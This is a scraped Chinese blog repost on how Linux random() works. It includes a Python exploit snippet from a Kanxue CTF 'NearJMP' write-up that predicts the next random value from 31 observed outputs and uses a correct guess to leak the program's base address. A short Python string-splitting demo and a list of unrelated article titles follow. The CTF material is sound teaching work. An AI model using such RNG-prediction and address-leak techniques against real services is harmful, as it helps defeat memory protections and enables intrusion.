linux随机数原理
来源:互联网 发布:上汽 知乎 编辑:程序博客网 时间:2024/06/03 20:41
http://www.mutepig.club/index.php/archives/61/
这里是原理的推导,下面根据dalao的writeup,贴出py代码
看雪CTF秋季赛第四题NearJMP的writeup
def guess(i): p.sendline('5') p.recvuntil('> ') p.sendline(str(i)) res = p.recvline() p.recvuntil('> ') num = res.split()[-1][:-1] return int(num) print '[+]guess'p.recvuntil('> ')baseAddr = 0lstRand = []#先获取前31个随机数for i in range(31): lstRand.append(guess(i)) #因为偶尔会有1的误差,所以猜3次for i in range(31, 33): rnd = (lstRand[i-3] + lstRand[i-31]) & 0x7fffffff p.sendline('5') p.recvuntil('> ') p.sendline(str(rnd)) tmp = p.recvline() if 'G00dj0b' in tmp: baseAddr = int(tmp.split()[-1][:-1]) - 0x202148 p.recvuntil('> ') break p.recvuntil('> ')print '[+]baseAddr:' + hex(baseAddr)
记录一个py的使用方法
s = 'Wr0ng answer!The number is 499183478!'print s.split()print s.split()[0]print s.split()[-1]print s.split()[-1][:-1]print s.split()[-1][:-2]['Wr0ng', 'answer!The', 'number', 'is', '499183478!']Wr0ng499183478!49918347849918347
阅读全文
0 0
- linux随机数原理
- 关于linux下的随机数产生器的简单原理
- Linux 随机数
- 随机数产生原理
- 产生随机数的原理
- 随机数产生原理
- 随机数产生的原理
- 随机数的实现原理
- 随机数产生原理
- 随机数产生原理及应用
- 随机数产生原理及应用
- 随机数产生原理及应用
- 随机数产生原理及应用
- java的随机数生成原理
- matlab中的伪随机数原理
- 随机数产生原理及应用
- Draft.js 随机数实现原理
- MATLAB 抽取随机数 MCMC原理
- Windows 下各种Python库的下载与安装
- BZOJ2435: [Noi2011]道路修建
- 给定两个字符串str1和str2,查找str2在str1中出现的位置
- Ubuntu连接自制安卓设备adb无法获得权限permission问题
- mpu6050的使用
- linux随机数原理
- 创建一个简单的Spring Boot项目
- 股票投资的24堂课 mobi下载
- Python基础之基础语法、变量类型以及运算符
- @Query注解的用法(Spring Data JPA)
- oracle job有定时执行的功能,可以在指定的时间点或每天的某个时间点自行执行任务。
- LCTF Web补题笔记(菜狗前进永不止步)
- 反射 demo
- 分支/合并框架详解